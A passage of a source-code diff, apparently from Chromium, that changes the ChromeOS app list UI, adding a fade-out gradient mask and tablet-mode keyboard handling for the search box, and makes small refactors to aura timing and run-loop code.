index 4079b7b0..6e85d63c 100644
--- a/ui/app_list/views/apps_grid_view.cc
+++ b/ui/app_list/views/apps_grid_view.cc
@@ -33,11 +33,13 @@
 #include "ui/aura/window.h"
 #include "ui/aura/window_event_dispatcher.h"
 #include "ui/base/l10n/l10n_util.h"
+#include "ui/compositor/paint_recorder.h"
 #include "ui/compositor/scoped_layer_animation_settings.h"
 #include "ui/events/event.h"
 #include "ui/gfx/animation/animation.h"
 #include "ui/gfx/geometry/vector2d.h"
 #include "ui/gfx/geometry/vector2d_conversions.h"
+#include "ui/gfx/skia_paint_util.h"
 #include "ui/strings/grit/ui_strings.h"
 #include "ui/views/border.h"
 #include "ui/views/controls/label.h"
@@ -98,6 +100,9 @@
 // non-first page.
 constexpr int kAllAppsIndicatorExtraPadding = 2;
 
+// The height of gradient fade-out zones.
+constexpr int kFadeoutZoneHeight = 21;
+
 // Returns the size of a tile view excluding its padding.
 gfx::Size GetTileViewSize() {
   if (features::IsFullscreenAppListEnabled())
@@ -223,6 +228,53 @@
 
 }  // namespace
 
+// A layer delegate used for AppsGridView's mask layer, with top and bottom
+// gradient fading out zones.
+class AppsGridView::FadeoutLayerDelegate : public ui::LayerDelegate {
+ public:
+  explicit FadeoutLayerDelegate() : layer_(ui::LAYER_TEXTURED) {
+    layer_.set_delegate(this);
+    layer_.SetFillsBoundsOpaquely(false);
+  }
+
+  ~FadeoutLayerDelegate() override { layer_.set_delegate(nullptr); }
+
+  ui::Layer* layer() { return &layer_; }
+
+ private:
+  // ui::LayerDelegate overrides:
+  // TODO(warx): using a mask is expensive. It would be more efficient to avoid
+  // the mask for the central area and only use it for top/bottom areas.
+  void OnPaintLayer(const ui::PaintContext& context) override {
+    const gfx::Size size = layer()->size();
+    gfx::Rect top_rect(0, 0, size.width(), kFadeoutZoneHeight);
+    gfx::Rect bottom_rect(0, size.height() - kFadeoutZoneHeight, size.width(),
+                          kFadeoutZoneHeight);
+    ui::PaintRecorder recorder(context, size);
+    gfx::Canvas* canvas = recorder.canvas();
+    // Clear the canvas.
+    canvas->DrawColor(SK_ColorBLACK, SkBlendMode::kSrc);
+    // Draw top gradient zone.
+    cc::PaintFlags flags;
+    flags.setBlendMode(SkBlendMode::kSrc);
+    flags.setAntiAlias(false);
+    flags.setShader(gfx::CreateGradientShader(
+        0, kFadeoutZoneHeight, SK_ColorTRANSPARENT, SK_ColorBLACK));
+    canvas->DrawRect(top_rect, flags);
+    // Draw bottom gradient zone.
+    flags.setShader(gfx::CreateGradientShader(
+        size.height() - kFadeoutZoneHeight, size.height(), SK_ColorBLACK,
+        SK_ColorTRANSPARENT));
+    canvas->DrawRect(bottom_rect, flags);
+  }
+  void OnDelegatedFrameDamage(const gfx::Rect& damage_rect_in_dip) override {}
+  void OnDeviceScaleFactorChanged(float device_scale_factor) override {}
+
+  ui::Layer layer_;
+
+  DISALLOW_COPY_AND_ASSIGN(FadeoutLayerDelegate);
+};
+
 AppsGridView::AppsGridView(ContentsView* contents_view)
     : contents_view_(contents_view),
       page_flip_delay_in_ms_(kPageFlipDelayInMs),
@@ -240,6 +292,8 @@
 
     suggestions_container_ =
         new SuggestionsContainerView(contents_view_, nullptr);
+    suggestions_container_->SetPaintToLayer();
+    suggestions_container_->layer()->SetFillsBoundsOpaquely(false);
     AddChildView(suggestions_container_);
     UpdateSuggestions();
 
@@ -261,6 +315,11 @@
         &pagination_model_, PaginationController::SCROLL_AXIS_HORIZONTAL));
   }
   AddChildView(page_switcher_view_);
+
+  if (is_fullscreen_app_list_enabled_) {
+    fadeout_layer_delegate_.reset(new FadeoutLayerDelegate);
+    layer()->SetMaskLayer(fadeout_layer_delegate_->layer());
+  }
 }
 
 AppsGridView::~AppsGridView() {
@@ -697,6 +756,13 @@
     bounds_animator_.Cancel();
 
   gfx::Rect rect(GetContentsBounds());
+  if (rect.IsEmpty())
+    return;
+
+  if (is_fullscreen_app_list_enabled_) {
+    fadeout_layer_delegate_->layer()->SetBounds(layer()->bounds());
+    rect.Inset(0, kSearchBoxBottomPadding, 0, 0);
+  }
 
   if (!folder_delegate_) {
     gfx::Rect indicator_rect(rect);
@@ -862,6 +928,8 @@
     int indicator_text_message_id) {
   IndicatorChipView* indicator = new IndicatorChipView(
       l10n_util::GetStringUTF16(indicator_text_message_id));
+  indicator->SetPaintToLayer();
+  indicator->layer()->SetFillsBoundsOpaquely(false);
   AddChildView(indicator);
   return indicator;
 }
@@ -2135,13 +2203,15 @@
     return 0;
 
   if (pagination_model_.selected_page() == 0) {
-    return suggested_apps_indicator_->GetPreferredSize().height() +
+    return kSearchBoxBottomPadding +
+           suggested_apps_indicator_->GetPreferredSize().height() +
            suggestions_container_->GetPreferredSize().height() +
            kSuggestionsAllAppsIndicatorPadding +
            all_apps_indicator_->GetPreferredSize().height() -
            kTileTopPaddingFullscreen;
   }
-  return all_apps_indicator_->GetPreferredSize().height() +
+  return kSearchBoxBottomPadding +
+         all_apps_indicator_->GetPreferredSize().height() +
          kAllAppsIndicatorExtraPadding;
 }
 
diff --git a/ui/app_list/views/apps_grid_view.h b/ui/app_list/views/apps_grid_view.h
index 509c900..a012afee 100644
--- a/ui/app_list/views/apps_grid_view.h
+++ b/ui/app_list/views/apps_grid_view.h
@@ -218,6 +218,7 @@
   }
 
  private:
+  class FadeoutLayerDelegate;
   friend class test::AppsGridViewTestApi;
 
   enum DropAttempt {
@@ -586,6 +587,8 @@
   // True if the drag_view_ item is a folder item being dragged for reparenting.
   bool dragging_for_reparent_item_ = false;
 
+  std::unique_ptr<FadeoutLayerDelegate> fadeout_layer_delegate_;
+
   // True if the fullscreen app list feature is enabled.
   const bool is_fullscreen_app_list_enabled_;
 
diff --git a/ui/app_list/views/contents_view.cc b/ui/app_list/views/contents_view.cc
index 9cc77f68..79d0af0 100644
--- a/ui/app_list/views/contents_view.cc
+++ b/ui/app_list/views/contents_view.cc
@@ -30,6 +30,13 @@
 
 namespace app_list {
 
+namespace {
+
+// Layout constants.
+constexpr int kDefaultContentsViewHeight = 633;
+
+}  // namespace
+
 ContentsView::ContentsView(AppListMainView* app_list_main_view,
                            AppListView* app_list_view)
     : model_(nullptr),
@@ -395,10 +402,8 @@
 gfx::Rect ContentsView::GetDefaultContentsBounds() const {
   const gfx::Size contents_size(GetDefaultContentsSize());
   gfx::Point origin(0, GetDefaultSearchBoxBounds().bottom());
-  if (is_fullscreen_app_list_enabled_) {
-    origin.Offset((bounds().width() - contents_size.width()) / 2,
-                  kSearchBoxBottomPadding);
-  }
+  if (is_fullscreen_app_list_enabled_)
+    origin.Offset((bounds().width() - contents_size.width()) / 2, 0);
   return gfx::Rect(origin, contents_size);
 }
 
@@ -446,7 +451,10 @@
 }
 
 gfx::Size ContentsView::GetDefaultContentsSize() const {
-  return apps_container_view_->GetPreferredSize();
+  gfx::Size size = apps_container_view_->GetPreferredSize();
+  if (is_fullscreen_app_list_enabled_)
+    size.set_height(kDefaultContentsViewHeight);
+  return size;
 }
 
 gfx::Size ContentsView::CalculatePreferredSize() const {
diff --git a/ui/app_list/views/search_box_view.cc b/ui/app_list/views/search_box_view.cc
index 1b3b107..57b0a40 100644
--- a/ui/app_list/views/search_box_view.cc
+++ b/ui/app_list/views/search_box_view.cc
@@ -31,6 +31,8 @@
 #include "ui/gfx/geometry/insets.h"
 #include "ui/gfx/paint_vector_icon.h"
 #include "ui/gfx/shadow_value.h"
+#include "ui/keyboard/keyboard_controller.h"
+#include "ui/keyboard/keyboard_util.h"
 #include "ui/strings/grit/ui_strings.h"
 #include "ui/views/background.h"
 #include "ui/views/border.h"
@@ -61,12 +63,14 @@
 constexpr int kMicIconSize = 24;
 constexpr int kCloseIconSize = 24;
 
-constexpr int kLightVibrantBlendAlpha = 0xB3;
+constexpr int kLightVibrantBlendAlpha = 0xE6;
 
 // Color of placeholder text in zero query state.
 constexpr SkColor kZeroQuerySearchboxColor =
     SkColorSetARGBMacro(0x8A, 0x00, 0x00, 0x00);
 
+}  // namespace
+
 // A background that paints a solid white rounded rect with a thin grey border.
 class SearchBoxBackground : public views::Background {
  public:
@@ -98,8 +102,6 @@
   DISALLOW_COPY_AND_ASSIGN(SearchBoxBackground);
 };
 
-}  // namespace
-
 // To paint grey background on mic and back buttons, and close buttons for
 // fullscreen launcher.
 class SearchBoxImageButton : public views::ImageButton {
@@ -191,6 +193,7 @@
   content_container_->AddChildView(back_button_);
 
   if (is_fullscreen_app_list_enabled_) {
+    is_tablet_mode_ = app_list_view->is_tablet_mode();
     search_icon_ = new views::ImageView();
     content_container_->AddChildView(search_icon_);
     search_box_->set_placeholder_text_color(search_box_color_);
@@ -401,12 +404,15 @@
 
   is_search_box_active_ = active;
   UpdateSearchIcon();
+  UpdateBackgroundColor(active ? kSearchBoxBackgroundDefault
+                               : background_color_);
   search_box_->set_placeholder_text_draw_flags(
       active ? gfx::Canvas::TEXT_ALIGN_LEFT : gfx::Canvas::TEXT_ALIGN_CENTER);
   search_box_->set_placeholder_text_color(active ? kZeroQuerySearchboxColor
                                                  : search_box_color_);
   search_box_->SetCursorEnabled(active);
-  search_box_->SchedulePaint();
+
+  UpdateKeyboardVisibility();
 
   if (speech_button_)
     speech_button_->SetVisible(!active);
@@ -414,6 +420,29 @@
   if (focused_view_ != FOCUS_CONTENTS_VIEW)
     ResetTabFocus(false);
   content_container_->Layout();
+  SchedulePaint();
+}
+
+void SearchBoxView::UpdateKeyboardVisibility() {
+  if (!is_fullscreen_app_list_enabled_)
+    return;
+  if (!is_tablet_mode_)
+    return;
+
+  keyboard::KeyboardController* const keyboard_controller =
+      keyboard::KeyboardController::GetInstance();
+  if (!keyboard_controller ||
+      is_search_box_active_ == keyboard::IsKeyboardVisible()) {
+    return;
+  }
+
+  if (is_search_box_active_) {
+    keyboard_controller->ShowKeyboard(false);
+    return;
+  }
+
+  keyboard_controller->HideKeyboard(
+      keyboard::KeyboardController::HIDE_REASON_MANUAL);
 }
 
 void SearchBoxView::HandleSearchBoxEvent(ui::LocatedEvent* located_event) {
@@ -479,35 +508,6 @@
   HandleSearchBoxEvent(event);
 }
 
-int SearchBoxView::GetSearchBoxBorderCornerRadiusForState(
-    AppListModel::State state) {
-  if (state == AppListModel::STATE_SEARCH_RESULTS)
-    return kSearchBoxBorderCornerRadiusSearchResult;
-  return kSearchBoxBorderCornerRadiusFullscreen;
-}
-
-SkColor SearchBoxView::GetBackgroundColorForState(
-    AppListModel::State state) const {
-  if (state == AppListModel::STATE_SEARCH_RESULTS)
-    return kSearchBoxBackgroundDefault;
-  return background_color_;
-}
-
-void SearchBoxView::UpdateBackground(double progress,
-                                     AppListModel::State current_state,
-                                     AppListModel::State target_state) {
-  SearchBoxBackground* background =
-      static_cast<SearchBoxBackground*>(content_container_->background());
-  background->set_corner_radius(gfx::Tween::LinearIntValueBetween(
-      progress, GetSearchBoxBorderCornerRadiusForState(current_state),
-      GetSearchBoxBorderCornerRadiusForState(target_state)));
-  const SkColor color = gfx::Tween::ColorValueBetween(
-      progress, GetBackgroundColorForState(current_state),
-      GetBackgroundColorForState(target_state));
-  background->set_color(color);
-  search_box_->SetBackgroundColor(color);
-}
-
 void SearchBoxView::ButtonPressed(views::Button* sender,
                                   const ui::Event& event) {
   if (back_button_ && sender == back_button_) {
@@ -522,6 +522,40 @@
   }
 }
 
+void SearchBoxView::UpdateBackground(double progress,
+                                     AppListModel::State current_state,
+                                     AppListModel::State target_state) {
+  GetSearchBoxBackground()->set_corner_radius(gfx::Tween::LinearIntValueBetween(
+      progress, GetSearchBoxBorderCornerRadiusForState(current_state),
+      GetSearchBoxBorderCornerRadiusForState(target_state)));
+  const SkColor color = gfx::Tween::ColorValueBetween(
+      progress, GetBackgroundColorForState(current_state),
+      GetBackgroundColorForState(target_state));
+  UpdateBackgroundColor(color);
+}
+
+void SearchBoxView::OnTabletModeChanged(bool started) {
+  if (!is_fullscreen_app_list_enabled_)
+    return;
+
+  is_tablet_mode_ = started;
+  UpdateKeyboardVisibility();
+}
+
+int SearchBoxView::GetSearchBoxBorderCornerRadiusForState(
+    AppListModel::State state) {
+  if (state == AppListModel::STATE_SEARCH_RESULTS)
+    return kSearchBoxBorderCornerRadiusSearchResult;
+  return kSearchBoxBorderCornerRadiusFullscreen;
+}
+
+SkColor SearchBoxView::GetBackgroundColorForState(
+    AppListModel::State state) const {
+  if (state == AppListModel::STATE_SEARCH_RESULTS)
+    return kSearchBoxBackgroundDefault;
+  return background_color_;
+}
+
 void SearchBoxView::UpdateModel() {
   // Temporarily remove from observer to ignore notifications caused by us.
   model_->search_box()->RemoveObserver(this);
@@ -698,17 +732,17 @@
   SetBackgroundColor(
       prominent_colors[static_cast<int>(ColorProfileType::LIGHT_VIBRANT)]);
   UpdateSearchIcon();
-  speech_button_->SetImage(
-      views::Button::STATE_NORMAL,
-      gfx::CreateVectorIcon(kIcMicBlackIcon, kMicIconSize, search_box_color_));
+  if (speech_button_) {
+    speech_button_->SetImage(
+        views::Button::STATE_NORMAL,
+        gfx::CreateVectorIcon(kIcMicBlackIcon, kMicIconSize,
+                              search_box_color_));
+  }
   close_button_->SetImage(
       views::Button::STATE_NORMAL,
       gfx::CreateVectorIcon(kIcCloseIcon, kCloseIconSize, search_box_color_));
   search_box_->set_placeholder_text_color(search_box_color_);
-  SearchBoxBackground* background =
-      static_cast<SearchBoxBackground*>(content_container_->background());
-  background->set_color(background_color_);
-  search_box_->SetBackgroundColor(background_color_);
+  UpdateBackgroundColor(background_color_);
   SchedulePaint();
 }
 
@@ -733,6 +767,7 @@
 }
 
 void SearchBoxView::SetBackgroundColor(SkColor light_vibrant) {
+  DCHECK(is_fullscreen_app_list_enabled_);
   const SkColor light_vibrant_mixed = color_utils::AlphaBlend(
       SK_ColorWHITE, light_vibrant, kLightVibrantBlendAlpha);
   background_color_ = SK_ColorTRANSPARENT == light_vibrant
@@ -745,4 +780,13 @@
       SK_ColorTRANSPARENT == color ? kDefaultSearchboxColor : color;
 }
 
+void SearchBoxView::UpdateBackgroundColor(SkColor color) {
+  GetSearchBoxBackground()->set_color(color);
+  search_box_->SetBackgroundColor(color);
+}
+
+SearchBoxBackground* SearchBoxView::GetSearchBoxBackground() const {
+  return static_cast<SearchBoxBackground*>(content_container_->background());
+}
+
 }  // namespace app_list
diff --git a/ui/app_list/views/search_box_view.h b/ui/app_list/views/search_box_view.h
index c8177b09..df1c880 100644
--- a/ui/app_list/views/search_box_view.h
+++ b/ui/app_list/views/search_box_view.h
@@ -38,6 +38,7 @@
 class AppListViewDelegate;
 class SearchBoxModel;
 class SearchBoxViewDelegate;
+class SearchBoxBackground;
 class SearchBoxImageButton;
 
 // SearchBoxView consists of an icon and a Textfield. SearchBoxModel is its data
@@ -75,9 +76,6 @@
     contents_view_ = contents_view;
   }
 
-  // Whether the search box is active.
-  bool is_search_box_active() const { return is_search_box_active_; }
-
   // Moves focus forward/backwards in response to TAB.
   bool MoveTabFocus(bool move_backwards);
 
@@ -96,6 +94,9 @@
   // disables cursor blink.
   void SetSearchBoxActive(bool active);
 
+  // Shows/hides the virtual keyboard if the search box is active.
+  void UpdateKeyboardVisibility();
+
   // Detects |ET_MOUSE_PRESSED| and |ET_GESTURE_TAP| events on the white
   // background of the search box.
   void HandleSearchBoxEvent(ui::LocatedEvent* located_event);
@@ -110,25 +111,31 @@
   void OnGestureEvent(ui::GestureEvent* event) override;
   void OnMouseEvent(ui::MouseEvent* event) override;
 
-  // Returns background border corner radius in the given state.
-  static int GetSearchBoxBorderCornerRadiusForState(AppListModel::State state);
-
-  // Returns background color for the given state.
-  SkColor GetBackgroundColorForState(AppListModel::State state) const;
+  // Overridden from views::ButtonListener:
+  void ButtonPressed(views::Button* sender, const ui::Event& event) override;
 
   // Updates the search box's background corner radius and color.
   void UpdateBackground(double progress,
                         AppListModel::State current_state,
                         AppListModel::State target_state);
 
+  // Called when tablet mode starts and ends.
+  void OnTabletModeChanged(bool started);
+
+  // Returns background border corner radius in the given state.
+  static int GetSearchBoxBorderCornerRadiusForState(AppListModel::State state);
+
+  // Returns background color for the given state.
+  SkColor GetBackgroundColorForState(AppListModel::State state) const;
+
   // Used only in the tests to get the current search icon.
   views::ImageView* get_search_icon_for_test() { return search_icon_; }
 
   // Used only in the tests to get the current focused view.
   SearchBoxFocus get_focused_view_for_test() const { return focused_view_; }
 
-  // Overridden from views::ButtonListener:
-  void ButtonPressed(views::Button* sender, const ui::Event& event) override;
+  // Whether the search box is active.
+  bool is_search_box_active() const { return is_search_box_active_; }
 
  private:
   // Updates model text and selection model with current Textfield info.
@@ -149,6 +156,12 @@
   // Sets the search box color.
   void SetSearchBoxColor(SkColor color);
 
+  // Updates the search box's background color.
+  void UpdateBackgroundColor(SkColor color);
+
+  // Gets the search box background.
+  SearchBoxBackground* GetSearchBoxBackground() const;
+
   // Overridden from views::TextfieldController:
   void ContentsChanged(views::Textfield* sender,
                        const base::string16& new_contents) override;
@@ -191,6 +204,8 @@
   const bool is_fullscreen_app_list_enabled_;
   // Whether the search box is active.
   bool is_search_box_active_ = false;
+  // Whether tablet mode is active.
+  bool is_tablet_mode_ = false;
   // The current background color.
   SkColor background_color_ = kSearchBoxBackgroundDefault;
   // The current search box color.
diff --git a/ui/app_list/views/search_result_view.cc b/ui/app_list/views/search_result_view.cc
index 71aaec5b..59404529 100644
--- a/ui/app_list/views/search_result_view.cc
+++ b/ui/app_list/views/search_result_view.cc
@@ -52,8 +52,7 @@
   render_text->SetText(text);
   render_text->SetColor(kResultDefaultTextColor);
 
-  for (SearchResult::Tags::const_iterator it = tags.begin();
-       it != tags.end();
+  for (SearchResult::Tags::const_iterator it = tags.begin(); it != tags.end();
        ++it) {
     // NONE means default style so do nothing.
     if (it->styles == SearchResult::Tag::NONE)
@@ -130,8 +129,8 @@
   if (!result_ || result_->title().empty()) {
     title_text_.reset();
   } else {
-    title_text_.reset(CreateRenderText(result_->title(),
-                                       result_->title_tags()));
+    title_text_.reset(
+        CreateRenderText(result_->title(), result_->title_tags()));
   }
 
   UpdateAccessibleName();
@@ -141,8 +140,8 @@
   if (!result_ || result_->details().empty()) {
     details_text_.reset();
   } else {
-    details_text_.reset(CreateRenderText(result_->details(),
-                                         result_->details_tags()));
+    details_text_.reset(
+        CreateRenderText(result_->details(), result_->details_tags()));
   }
 
   UpdateAccessibleName();
@@ -196,8 +195,8 @@
 
   const int max_actions_width =
       (rect.right() - kActionButtonRightMargin - icon_bounds.right()) / 2;
-  int actions_width = std::min(max_actions_width,
-                               actions_view_->GetPreferredSize().width());
+  int actions_width =
+      std::min(max_actions_width, actions_view_->GetPreferredSize().width());
 
   gfx::Rect actions_bounds(rect);
   actions_bounds.set_x(rect.right() - kActionButtonRightMargin - actions_width);
@@ -208,8 +207,7 @@
   const int progress_height = progress_bar_->GetPreferredSize().height();
   const gfx::Rect progress_bounds(
       rect.right() - kActionButtonRightMargin - progress_width,
-      rect.y() + (rect.height() - progress_height) / 2,
-      progress_width,
+      rect.y() + (rect.height() - progress_height) / 2, progress_width,
       progress_height);
   progress_bar_->SetBoundsRect(progress_bounds);
 }
@@ -221,8 +219,8 @@
 
   switch (event.key_code()) {
     case ui::VKEY_TAB: {
-      int new_selected = actions_view_->selected_action()
-          + (event.IsShiftDown() ? -1 : 1);
+      int new_selected =
+          actions_view_->selected_action() + (event.IsShiftDown() ? -1 : 1);
       actions_view_->SetSelectedAction(new_selected);
       return actions_view_->IsValidActionIndex(new_selected);
     }
@@ -255,8 +253,7 @@
   const bool selected = list_view_->IsResultViewSelected(this);
   const bool hover = state() == STATE_HOVERED || state() == STATE_PRESSED;
 
-  if (!is_fullscreen_app_list_enabled_)
-    canvas->FillRect(content_rect, kCardBackgroundColor);
+  canvas->FillRect(content_rect, kCardBackgroundColor);
 
   // Possibly call FillRect a second time (these colours are partially
   // transparent, so the previous FillRect is not redundant).
@@ -288,24 +285,24 @@
                           kTextTrailPadding - progress_bar_->bounds().width() -
                           kActionButtonRightMargin);
   }
-  text_bounds.set_x(GetMirroredXWithWidthInView(text_bounds.x(),
-                                                text_bounds.width()));
+  text_bounds.set_x(
+      GetMirroredXWithWidthInView(text_bounds.x(), text_bounds.width()));
 
   if (title_text_ && details_text_) {
     gfx::Size title_size(text_bounds.width(),
                          title_text_->GetStringSize().height());
     gfx::Size details_size(text_bounds.width(),
                            details_text_->GetStringSize().height());
-    int total_height = title_size.height() + + details_size.height();
+    int total_height = title_size.height() + +details_size.height();
     int y = text_bounds.y() + (text_bounds.height() - total_height) / 2;
 
-    title_text_->SetDisplayRect(gfx::Rect(gfx::Point(text_bounds.x(), y),
-                                          title_size));
+    title_text_->SetDisplayRect(
+        gfx::Rect(gfx::Point(text_bounds.x(), y), title_size));
     title_text_->Draw(canvas);
 
     y += title_size.height();
-    details_text_->SetDisplayRect(gfx::Rect(gfx::Point(text_bounds.x(), y),
-                                            details_size));
+    details_text_->SetDisplayRect(
+        gfx::Rect(gfx::Point(text_bounds.x(), y), details_size));
     details_text_->Draw(canvas);
   } else if (title_text_) {
     gfx::Size title_size(text_bounds.width(),
diff --git a/ui/arc/notification/arc_notification_content_view_unittest.cc b/ui/arc/notification/arc_notification_content_view_unittest.cc
index af0ba0d..8b62bf0 100644
--- a/ui/arc/notification/arc_notification_content_view_unittest.cc
+++ b/ui/arc/notification/arc_notification_content_view_unittest.cc
@@ -248,7 +248,7 @@
     auto* control_buttons_view =
         GetArcNotificationContentView()->control_buttons_view_;
     message_center::PaddedButton* close_button =
-        control_buttons_view->close_button_for_testing();
+        control_buttons_view->close_button();
     ASSERT_NE(nullptr, close_button);
     control_buttons_view->ButtonPressed(close_button, dummy_event);
   }
diff --git a/ui/aura/client/aura_constants.cc b/ui/aura/client/aura_constants.cc
index 2792820c..7ec2851 100644
--- a/ui/aura/client/aura_constants.cc
+++ b/ui/aura/client/aura_constants.cc
@@ -9,6 +9,7 @@
 #include "ui/gfx/geometry/rect.h"
 
 DECLARE_EXPORTED_UI_CLASS_PROPERTY_TYPE(AURA_EXPORT, bool)
+DECLARE_EXPORTED_UI_CLASS_PROPERTY_TYPE(AURA_EXPORT, base::TimeDelta)
 DECLARE_EXPORTED_UI_CLASS_PROPERTY_TYPE(AURA_EXPORT, base::string16*)
 DECLARE_EXPORTED_UI_CLASS_PROPERTY_TYPE(AURA_EXPORT, ui::ModalType)
 DECLARE_EXPORTED_UI_CLASS_PROPERTY_TYPE(AURA_EXPORT, gfx::ImageSkia*)
diff --git a/ui/aura/mus/user_activity_forwarder_unittest.cc b/ui/aura/mus/user_activity_forwarder_unittest.cc
index dc2fd59..9d011c0 100644
--- a/ui/aura/mus/user_activity_forwarder_unittest.cc
+++ b/ui/aura/mus/user_activity_forwarder_unittest.cc
@@ -71,7 +71,8 @@
   // Run pending tasks so |monitor| receives |forwarder|'s registration.
   RunUntilIdle();
 
-  base::TimeTicks now = base::TimeTicks::FromInternalValue(1000);
+  base::TimeTicks now =
+      base::TimeTicks() + base::TimeDelta::FromMicroseconds(1000);
   detector.set_now_for_test(now);
   monitor.NotifyUserActivityObservers();
   RunUntilIdle();
diff --git a/ui/aura/mus/window_mus.h b/ui/aura/mus/window_mus.h
index acf13fd..7e9077d9 100644
--- a/ui/aura/mus/window_mus.h
+++ b/ui/aura/mus/window_mus.h
@@ -14,10 +14,6 @@
 #include "ui/aura/aura_export.h"
 #include "ui/aura/mus/mus_types.h"
 
-namespace cc {
-class SurfaceInfo;
-}
-
 namespace gfx {
 class Rect;
 class Transform;
@@ -29,6 +25,10 @@
 }
 }
 
+namespace viz {
+class SurfaceInfo;
+}
+
 namespace aura {
 
 class Window;
diff --git a/ui/aura/window_event_dispatcher_unittest.cc b/ui/aura/window_event_dispatcher_unittest.cc
index c10dd3e6..1fcd4d6 100644
--- a/ui/aura/window_event_dispatcher_unittest.cc
+++ b/ui/aura/window_event_dispatcher_unittest.cc
@@ -2055,7 +2055,7 @@
   void OnMouseEvent(ui::MouseEvent* event) override {
     ui::test::TestEventHandler::OnMouseEvent(event);
     if (event->type() == ui::ET_MOUSE_PRESSED)
-      base::MessageLoopForUI::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  private:
diff --git a/ui/aura/window_tree_host_platform.cc b/ui/aura/window_tree_host_platform.cc
index 8cb7263b..16027fa 100644
--- a/ui/aura/window_tree_host_platform.cc
+++ b/ui/aura/window_tree_host_platform.cc
@@ -6,6 +6,7 @@
 
 #include <utility>
 
+#include "base/run_loop.h"
 #include "base/trace_event/trace_event.h"
 #include "build/build_config.h"
 #include "ui/aura/window_event_dispatcher.h"
@@ -23,7 +24,6 @@
 #endif
 
 #if defined(OS_WIN)
-#include "base/message_loop/message_loop.h"
 #include "ui/base/cursor/cursor_loader_win.h"
 #include "ui/platform_window/win/win_window.h"
 #endif
@@ -158,7 +158,7 @@
 void WindowTreeHostPlatform::OnCloseRequest() {
 #if defined(OS_WIN)
   // TODO: this obviously shouldn't be here.
-  base::MessageLoopForUI::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 #else
   OnHostCloseRequested();
 #endif
diff --git a/ui/base/class_property.h b/ui/base/class_property.h
index a9e329a..38fdb7e 100644
--- a/ui/base/class_property.h
+++ b/ui/base/class_property.h
@@ -11,6 +11,7 @@
 #include <memory>
 #include <set>
 
+#include "base/time/time.h"
 #include "ui/base/property_data.h"
 #include "ui/base/ui_base_export.h"
 #include "ui/base/ui_base_types.h"
@@ -145,6 +146,14 @@
   static int64_t ToInt64(bool x) { return static_cast<int64_t>(x); }
   static bool FromInt64(int64_t x) { return x != 0; }
 };
+template <>
+class ClassPropertyCaster<base::TimeDelta> {
+ public:
+  static int64_t ToInt64(base::TimeDelta x) { return x.InMicroseconds(); }
+  static base::TimeDelta FromInt64(int64_t x) {
+    return base::TimeDelta::FromMicroseconds(x);
+  }
+};
 
 }  // namespace
 
diff --git a/ui/base/user_activity/user_activity_detector_unittest.cc b/ui/base/user_activity/user_activity_detector_unittest.cc
index 0b9b7608..b2decd6 100644
--- a/ui/base/user_activity/user_activity_detector_unittest.cc
+++ b/ui/base/user_activity/user_activity_detector_unittest.cc
@@ -92,8 +92,7 @@
   ui::KeyEvent key_event(ui::ET_KEY_PRESSED, ui::VKEY_A, ui::EF_NONE);
   OnEvent(&key_event);
   EXPECT_FALSE(key_event.handled());
-  EXPECT_EQ(now_.ToInternalValue(),
-            detector_->last_activity_time().ToInternalValue());
+  EXPECT_EQ(now_, detector_->last_activity_time());
   EXPECT_EQ(1, observer_->num_invocations());
   observer_->reset_stats();
 
@@ -104,8 +103,7 @@
                              ui::EventTimeForNow(), ui::EF_NONE, ui::EF_NONE);
   OnEvent(&mouse_event);
   EXPECT_FALSE(mouse_event.handled());
-  EXPECT_EQ(now_.ToInternalValue(),
-            detector_->last_activity_time().ToInternalValue());
+  EXPECT_EQ(now_, detector_->last_activity_time());
   EXPECT_EQ(1, observer_->num_invocations());
   observer_->reset_stats();
 
@@ -115,8 +113,7 @@
   detector_->OnDisplayPowerChanging();
   OnEvent(&mouse_event);
   EXPECT_FALSE(mouse_event.handled());
-  EXPECT_EQ(time_before_ignore.ToInternalValue(),
-            detector_->last_activity_time().ToInternalValue());
+  EXPECT_EQ(time_before_ignore, detector_->last_activity_time());
   EXPECT_EQ(0, observer_->num_invocations());
   observer_->reset_stats();
 
@@ -126,8 +123,7 @@
   AdvanceTime(kIgnoreMouseTime / 2);
   OnEvent(&mouse_event);
   EXPECT_FALSE(mouse_event.handled());
-  EXPECT_EQ(time_before_ignore.ToInternalValue(),
-            detector_->last_activity_time().ToInternalValue());
+  EXPECT_EQ(time_before_ignore, detector_->last_activity_time());
   EXPECT_EQ(0, observer_->num_invocations());
   observer_->reset_stats();
 
@@ -135,8 +131,7 @@
   AdvanceTime(std::max(kIgnoreMouseTime, advance_delta));
   OnEvent(&mouse_event);
   EXPECT_FALSE(mouse_event.handled());
-  EXPECT_EQ(now_.ToInternalValue(),
-            detector_->last_activity_time().ToInternalValue());
+  EXPECT_EQ(now_, detector_->last_activity_time());
   EXPECT_EQ(1, observer_->num_invocations());
   observer_->reset_stats();
 
@@ -146,8 +141,7 @@
       ui::PointerDetails(ui::EventPointerType::POINTER_TYPE_TOUCH, 0));
   OnEvent(&touch_event);
   EXPECT_FALSE(touch_event.handled());
-  EXPECT_EQ(now_.ToInternalValue(),
-            detector_->last_activity_time().ToInternalValue());
+  EXPECT_EQ(now_, detector_->last_activity_time());
   EXPECT_EQ(1, observer_->num_invocations());
   observer_->reset_stats();
 
@@ -156,8 +150,7 @@
                                  ui::GestureEventDetails(ui::ET_GESTURE_TAP));
   OnEvent(&gesture_event);
   EXPECT_FALSE(gesture_event.handled());
-  EXPECT_EQ(now_.ToInternalValue(),
-            detector_->last_activity_time().ToInternalValue());
+  EXPECT_EQ(now_, detector_->last_activity_time());
   EXPECT_EQ(1, observer_->num_invocations());
   observer_->reset_stats();
 }
@@ -204,8 +197,7 @@
                              ui::EF_NONE);
   OnEvent(&mouse_event);
   EXPECT_FALSE(mouse_event.handled());
-  EXPECT_EQ(base::TimeTicks().ToInternalValue(),
-            detector_->last_activity_time().ToInternalValue());
+  EXPECT_EQ(base::TimeTicks(), detector_->last_activity_time());
   EXPECT_EQ(0, observer_->num_invocations());
 }
 
diff --git a/ui/compositor/layer.cc b/ui/compositor/layer.cc
index 468789a..358310bf 100644
--- a/ui/compositor/layer.cc
+++ b/ui/compositor/layer.cc
@@ -21,9 +21,9 @@
 #include "cc/layers/solid_color_layer.h"
 #include "cc/layers/surface_layer.h"
 #include "cc/layers/texture_layer.h"
-#include "cc/output/copy_output_request.h"
 #include "cc/resources/transferable_resource.h"
 #include "cc/trees/layer_tree_settings.h"
